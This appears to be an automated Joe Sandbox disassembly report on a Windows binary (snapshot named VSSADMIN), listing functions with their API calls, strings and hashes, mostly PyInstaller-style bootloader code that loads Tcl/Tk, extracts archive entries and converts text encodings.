Instruction ID: fbfddde5b07f7ba4b9e2215c3e37f64d3ef70ebada6f9bec33dc560e90df486e
Opcode Fuzzy Hash: deab79669d35d3f06de2a1b3ba32e81158c273845478c0e398c52fdc0538379a
Instruction Fuzzy Hash: D8A0026590CC46E1EE449B04F8D00302770FF52B69B400073D55DC30A0AF3EB440E301

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C75F70 Relevance: 164.8, APIs: 31, Strings: 63, Instructions: 263libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF614C75F87
GetProcAddress.KERNEL32 ref: 00007FF614C75FC6
GetProcAddress.KERNEL32 ref: 00007FF614C75FEB
GetProcAddress.KERNEL32 ref: 00007FF614C76010
GetProcAddress.KERNEL32 ref: 00007FF614C76038
GetProcAddress.KERNEL32 ref: 00007FF614C76060
GetProcAddress.KERNEL32 ref: 00007FF614C76088
GetProcAddress.KERNEL32 ref: 00007FF614C760B0
GetProcAddress.KERNEL32 ref: 00007FF614C760D8

Strings

Tcl_EvalFile, xrefs: 00007FF614C7634E
Tcl_EvalObjv, xrefs: 00007FF614C7639E
Failed to get address for Tcl_FinalizeThread, xrefs: 00007FF614C76072
Tcl_CreateThread, xrefs: 00007FF614C760A6
Failed to get address for Tcl_GetString, xrefs: 00007FF614C762A2
Failed to get address for Tcl_CreateInterp, xrefs: 00007FF614C75FD8
Tcl_CreateInterp, xrefs: 00007FF614C75FBC
Tk_GetNumMainWindows, xrefs: 00007FF614C7643E
Failed to get address for Tcl_SetVar2, xrefs: 00007FF614C76252
Tcl_Alloc, xrefs: 00007FF614C763C6
Failed to get address for Tcl_MutexLock, xrefs: 00007FF614C76112
Failed to get address for Tk_Init, xrefs: 00007FF614C76432
Failed to get address for Tcl_ThreadQueueEvent, xrefs: 00007FF614C761DA
Failed to get address for Tcl_CreateThread, xrefs: 00007FF614C760C2
Failed to get address for Tcl_ConditionNotify, xrefs: 00007FF614C7618A
Tcl_ConditionNotify, xrefs: 00007FF614C7616E
Tcl_GetObjResult, xrefs: 00007FF614C76326
Tcl_Finalize, xrefs: 00007FF614C7602E
Failed to get address for Tcl_NewByteArrayObj, xrefs: 00007FF614C762F2
Failed to get address for Tcl_CreateObjCommand, xrefs: 00007FF614C7627A
Failed to get address for Tcl_DeleteInterp, xrefs: 00007FF614C7609A
Failed to get address for Tcl_MutexUnlock, xrefs: 00007FF614C7613A
Tcl_NewByteArrayObj, xrefs: 00007FF614C762D6
Tcl_SetVar2Ex, xrefs: 00007FF614C762FE
Tcl_ConditionFinalize, xrefs: 00007FF614C76146
Failed to get address for Tcl_Init, xrefs: 00007FF614C75F99
Tcl_ThreadQueueEvent, xrefs: 00007FF614C761BE
Failed to get address for Tcl_GetCurrentThread, xrefs: 00007FF614C760EA
Tcl_ConditionWait, xrefs: 00007FF614C76196
Tcl_GetVar2, xrefs: 00007FF614C7620E
Tcl_Init, xrefs: 00007FF614C75F80
Failed to get address for Tcl_Free, xrefs: 00007FF614C7640A
Tcl_FinalizeThread, xrefs: 00007FF614C76056
Tcl_CreateObjCommand, xrefs: 00007FF614C7625E
Tcl_DeleteInterp, xrefs: 00007FF614C7607E
Tcl_SetVar2, xrefs: 00007FF614C76236
Failed to get address for Tcl_Finalize, xrefs: 00007FF614C7604A
Tk_Init, xrefs: 00007FF614C76416
Failed to get address for Tcl_GetVar2, xrefs: 00007FF614C7622A
Tcl_NewStringObj, xrefs: 00007FF614C762AE
Tcl_FindExecutable, xrefs: 00007FF614C75FE1
Failed to get address for Tcl_FindExecutable, xrefs: 00007FF614C75FFD
Failed to get address for Tcl_ConditionWait, xrefs: 00007FF614C761B2
GetProcAddress, xrefs: 00007FF614C75FA0
Failed to get address for Tk_GetNumMainWindows, xrefs: 00007FF614C7645A
Failed to get address for Tcl_GetObjResult, xrefs: 00007FF614C76342
Tcl_DoOneEvent, xrefs: 00007FF614C76006
Failed to get address for Tcl_EvalFile, xrefs: 00007FF614C7636A
Tcl_MutexUnlock, xrefs: 00007FF614C7611E
Failed to get address for Tcl_DoOneEvent, xrefs: 00007FF614C76022
Tcl_MutexLock, xrefs: 00007FF614C760F6
Failed to get address for Tcl_ConditionFinalize, xrefs: 00007FF614C76162
Failed to get address for Tcl_Alloc, xrefs: 00007FF614C763E2
Tcl_ThreadAlert, xrefs: 00007FF614C761E6
Tcl_Free, xrefs: 00007FF614C763EE
Failed to get address for Tcl_EvalEx, xrefs: 00007FF614C76392
Tcl_GetCurrentThread, xrefs: 00007FF614C760CE
Tcl_GetString, xrefs: 00007FF614C76286
Tcl_EvalEx, xrefs: 00007FF614C76376
Failed to get address for Tcl_SetVar2Ex, xrefs: 00007FF614C7631A
Failed to get address for Tcl_NewStringObj, xrefs: 00007FF614C762CA
Failed to get address for Tcl_EvalObjv, xrefs: 00007FF614C763BA
Failed to get address for Tcl_ThreadAlert, xrefs: 00007FF614C76202

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for Tcl_Alloc$Failed to get address for Tcl_ConditionFinalize$Failed to get address for Tcl_ConditionNotify$Failed to get address for Tcl_ConditionWait$Failed to get address for Tcl_CreateInterp$Failed to get address for Tcl_CreateObjCommand$Failed to get address for Tcl_CreateThread$Failed to get address for Tcl_DeleteInterp$Failed to get address for Tcl_DoOneEvent$Failed to get address for Tcl_EvalEx$Failed to get address for Tcl_EvalFile$Failed to get address for Tcl_EvalObjv$Failed to get address for Tcl_Finalize$Failed to get address for Tcl_FinalizeThread$Failed to get address for Tcl_FindExecutable$Failed to get address for Tcl_Free$Failed to get address for Tcl_GetCurrentThread$Failed to get address for Tcl_GetObjResult$Failed to get address for Tcl_GetString$Failed to get address for Tcl_GetVar2$Failed to get address for Tcl_Init$Failed to get address for Tcl_MutexLock$Failed to get address for Tcl_MutexUnlock$Failed to get address for Tcl_NewByteArrayObj$Failed to get address for Tcl_NewStringObj$Failed to get address for Tcl_SetVar2$Failed to get address for Tcl_SetVar2Ex$Failed to get address for Tcl_ThreadAlert$Failed to get address for Tcl_ThreadQueueEvent$Failed to get address for Tk_GetNumMainWindows$Failed to get address for Tk_Init$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 190572456-2208601799
Opcode ID: f2a63a6368bd24169675c041ca24025962e4e687bdbe2194ee438000f2696acf
Instruction ID: cc77478cef4e4865c127855ced30ecffb89254863447c57f9a8509bea91ed954
Opcode Fuzzy Hash: f2a63a6368bd24169675c041ca24025962e4e687bdbe2194ee438000f2696acf
Instruction Fuzzy Hash: E4E18564A0DF43A2FE558B18F9D017423B5AF17FB9BC46037C84E87664EF7EA5588201

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C72030 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF614C7205B
SelectObject.GDI32 ref: 00007FF614C720A2
DrawTextW.USER32 ref: 00007FF614C720C5
SelectObject.GDI32 ref: 00007FF614C720DB
ReleaseDC.USER32 ref: 00007FF614C720EB
MoveWindow.USER32 ref: 00007FF614C7213B
MoveWindow.USER32 ref: 00007FF614C7217B
MoveWindow.USER32 ref: 00007FF614C721CE
MoveWindow.USER32 ref: 00007FF614C72216

Strings

P%, xrefs: 00007FF614C720AF

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 2abf96d7e756ec95747b6225775113f5ca3bbb9c1d9d148edce5ba3104c9dbe9
Instruction ID: 6a098fbf13fc729f86e8d03fb4107a33b8e2e945738758404f7dd677c4b02f99
Opcode Fuzzy Hash: 2abf96d7e756ec95747b6225775113f5ca3bbb9c1d9d148edce5ba3104c9dbe9
Instruction Fuzzy Hash: 33510426608BA187DA349F26E4581BAB7B1FB98B65F004122EBCF83684DF3DD045DB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C80258 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C80298
_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C80660
_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C808FF

Strings

p, xrefs: 00007FF614C803A2
p, xrefs: 00007FF614C8033D
f, xrefs: 00007FF614C80330
f, xrefs: 00007FF614C804E5
f, xrefs: 00007FF614C8039A

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: 864902cbb2e935f55fbb0b0f358a3d1305b233c90ffe52d12db1516ed6b7c985
Instruction ID: aece6c676b0adb97a7f5f1c0a70427e95a1acb329a6bcbdebd219e3f3b4a6242
Opcode Fuzzy Hash: 864902cbb2e935f55fbb0b0f358a3d1305b233c90ffe52d12db1516ed6b7c985
Instruction Fuzzy Hash: 2612B4B2E0C94786FB205B16E0946BA7271FB82F64F864137D699876C4DF3CE480EB54

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C712B0 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 106COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF614C712E2
fread, xrefs: 00007FF614C713E9
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF614C7134C
malloc, xrefs: 00007FF614C71353
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF614C713E2
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF614C71312
fseek, xrefs: 00007FF614C71319

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
Opcode ID: e412112bf7a2c4920d5fc3316b35fb3f62ad84cc98d8238b18eca36b92c0785a
Instruction ID: a0598e4fadd19149a255bd768ab991572d06555c9effa631d1c1ddc6ed4a0ed0
Opcode Fuzzy Hash: e412112bf7a2c4920d5fc3316b35fb3f62ad84cc98d8238b18eca36b92c0785a
Instruction Fuzzy Hash: 32415E21A4CE8382EE24DB15E4916BA63B1EB86FA5F444433DE4D87B55EE3DE542C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C7DC60 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF614C7DCBD

Part of subcall function 00007FF614C7EBD0: __GetUnwindTryBlock.LIBCMT ref: 00007FF614C7EC13
Part of subcall function 00007FF614C7EBD0: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF614C7EC38

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF614C7DD95
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF614C7DFEA
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF614C7E0F6

Strings

csm, xrefs: 00007FF614C7DD3E
csm, xrefs: 00007FF614C7DDB8
csm, xrefs: 00007FF614C7DCD7

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 041d502785614f157d9e0dc40e6677f491242ac1b203480cf839ec3ef7e6c674
Instruction ID: e6db290d1871e006f48daed5d6a3a2ad39328485cda6319e717c874abdb35841
Opcode Fuzzy Hash: 041d502785614f157d9e0dc40e6677f491242ac1b203480cf839ec3ef7e6c674
Instruction Fuzzy Hash: BCE16F73A0CB4187EB209B65D4802AD77B0FB56BA9F104136EE4D97B55CF38E491C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C77630 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 103COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF614C7101D), ref: 00007FF614C776CF
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF614C7101D), ref: 00007FF614C7771F

Strings

win32_utils_to_utf8, xrefs: 00007FF614C77758
Failed to get UTF-8 buffer size., xrefs: 00007FF614C77761
Failed to encode wchar_t as UTF-8., xrefs: 00007FF614C77748
WideCharToMultiByte, xrefs: 00007FF614C77768
Out of memory., xrefs: 00007FF614C77751

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 626452242-27947307
Opcode ID: 8e1294a6cdcfa841333753f07aa6236aad2a9565d39a981db328a5fb7b946298
Instruction ID: be9c5c0f96c7cc321c3e6c029572b49928f14f46e004a2b7fa553ec906b9ddcb
Opcode Fuzzy Hash: 8e1294a6cdcfa841333753f07aa6236aad2a9565d39a981db328a5fb7b946298
Instruction Fuzzy Hash: 1A416A32A0DF86C2E621DF15E48016AB6B5FB86BA4F584136DA8D87B95EF38E451C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C77B70 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 63COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,00007FF614C736B9), ref: 00007FF614C77BB1

Part of subcall function 00007FF614C72620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF614C77774,?,?,?,?,?,?,?,?,?,?,?,00007FF614C7101D), ref: 00007FF614C72654
Part of subcall function 00007FF614C72620: MessageBoxW.USER32 ref: 00007FF614C72730

WideCharToMultiByte.KERNEL32(?,00007FF614C736B9), ref: 00007FF614C77C25

Strings

win32_utils_to_utf8, xrefs: 00007FF614C77BF2
Failed to get UTF-8 buffer size., xrefs: 00007FF614C77BBE
Failed to encode wchar_t as UTF-8., xrefs: 00007FF614C77C2F
WideCharToMultiByte, xrefs: 00007FF614C77BC5, 00007FF614C77C36
Out of memory., xrefs: 00007FF614C77BEB

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 3723044601-27947307
Opcode ID: aab539b93ffeac37e32982e6298ac4f9f3ab9a0e846f993d4d23bb2dfd97e0ba
Instruction ID: fe8a6ae26e3ecb7da4d6e6d34c4b00048e45e808c1be3054de304a6fa9a9bd34
Opcode Fuzzy Hash: aab539b93ffeac37e32982e6298ac4f9f3ab9a0e846f993d4d23bb2dfd97e0ba
Instruction Fuzzy Hash: 28216B31A0DF4796EA109F16E8800797AB1EB9AFA4B584137CA4EC3794EF7DE411C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C89294 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C892D7
_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C896C4
_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C89960

Strings

p, xrefs: 00007FF614C89389
f, xrefs: 00007FF614C893F9
p, xrefs: 00007FF614C89401

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$p$p
API String ID: 3215553584-1995029353
Opcode ID: 8b43f30c9b627f105c9440690760d813b6cbc2015482011a3dd154e3df4de9b0
Instruction ID: be00e0ded957f39a9aad41b3018f731060724f15afe17f63d3cda6ad63f9dafa
Opcode Fuzzy Hash: 8b43f30c9b627f105c9440690760d813b6cbc2015482011a3dd154e3df4de9b0
Instruction Fuzzy Hash: 02128461E0C94386FB649A15D1942F976B1FB82F74F884137E68A876C4DF3CE580EB04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C77C60 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF614C77CF5
MultiByteToWideChar.KERNEL32 ref: 00007FF614C77D37

Strings

MultiByteToWideChar, xrefs: 00007FF614C77D7D
win32_utils_from_utf8, xrefs: 00007FF614C77D6D
Failed to decode wchar_t from UTF-8, xrefs: 00007FF614C77D5D
Failed to get wchar_t buffer size., xrefs: 00007FF614C77D76
Out of memory., xrefs: 00007FF614C77D66

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar$Out of memory.$win32_utils_from_utf8
API String ID: 626452242-876015163
Opcode ID: 474bf15368175ae00485da3c5c6deb92760f83e3752d56c97991419ab165e02e
Instruction ID: fc7d11dce1dbd0b2b2a54d215174a0690c67da5781ec21c6da92c7c9be470ab7
Opcode Fuzzy Hash: 474bf15368175ae00485da3c5c6deb92760f83e3752d56c97991419ab165e02e
Instruction Fuzzy Hash: 29418F32A0DE46C2EA10DF15E48017A66B5FB96FA4F148137DA8D87BA5EF3CE451C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C7CF18 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF614C7D1CA,?,?,?,00007FF614C7CEBC,?,?,00000001,00007FF614C7CAD9), ref: 00007FF614C7CF9D
GetLastError.KERNEL32(?,?,?,00007FF614C7D1CA,?,?,?,00007FF614C7CEBC,?,?,00000001,00007FF614C7CAD9), ref: 00007FF614C7CFAB
LoadLibraryExW.KERNEL32(?,?,?,00007FF614C7D1CA,?,?,?,00007FF614C7CEBC,?,?,00000001,00007FF614C7CAD9), ref: 00007FF614C7CFD5
FreeLibrary.KERNEL32(?,?,?,00007FF614C7D1CA,?,?,?,00007FF614C7CEBC,?,?,00000001,00007FF614C7CAD9), ref: 00007FF614C7D01B
GetProcAddress.KERNEL32(?,?,?,00007FF614C7D1CA,?,?,?,00007FF614C7CEBC,?,?,00000001,00007FF614C7CAD9), ref: 00007FF614C7D027

Strings

api-ms-, xrefs: 00007FF614C7CFBD

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 96cc8d1137d818a2009be7de16c2cee15406677aaf285b7c4d33305375866f21
Instruction ID: 09a2d82cc85ce2739dfa8aa615a07dd884f482aea23070680b49e0b6b8009704
Opcode Fuzzy Hash: 96cc8d1137d818a2009be7de16c2cee15406677aaf285b7c4d33305375866f21
Instruction Fuzzy Hash: 9731BE22A1EE4292EE519B06A88097523F4FF4AFB5F591536DD1ECB390EF3CE4468710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C764A0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF614C77A60: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF614C726FB), ref: 00007FF614C77A9A

ExpandEnvironmentStringsW.KERNEL32(00000000,00007FF614C767F1,?,?,00000000,?,?,00007FF614C7676D), ref: 00007FF614C764FF

Part of subcall function 00007FF614C72770: MessageBoxW.USER32 ref: 00007FF614C72845

Strings

LOADER: Failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF614C76513
LOADER: Failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF614C764D6
LOADER: Failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF614C7655A

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: LOADER: Failed to convert runtime-tmpdir to a wide string.$LOADER: Failed to expand environment variables in the runtime-tmpdir.$LOADER: Failed to obtain the absolute path of the runtime-tmpdir.
API String ID: 1662231829-3498232454
Opcode ID: 5c20c095824c1da7d1f4bea3d05580988457242eeef08c03b39c26993512e69f
Instruction ID: 5329e482434e14f76dc2ae72854091868df9aaaebfc69258aac4c527fd38dbe9
Opcode Fuzzy Hash: 5c20c095824c1da7d1f4bea3d05580988457242eeef08c03b39c26993512e69f
Instruction Fuzzy Hash: 21318911B1CF8352FA609725E9D53BA6171AF9AFE1F844033DA4EC379AEE2DE5049700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C77A60 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF614C726FB), ref: 00007FF614C77A9A

Part of subcall function 00007FF614C72620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF614C77774,?,?,?,?,?,?,?,?,?,?,?,00007FF614C7101D), ref: 00007FF614C72654
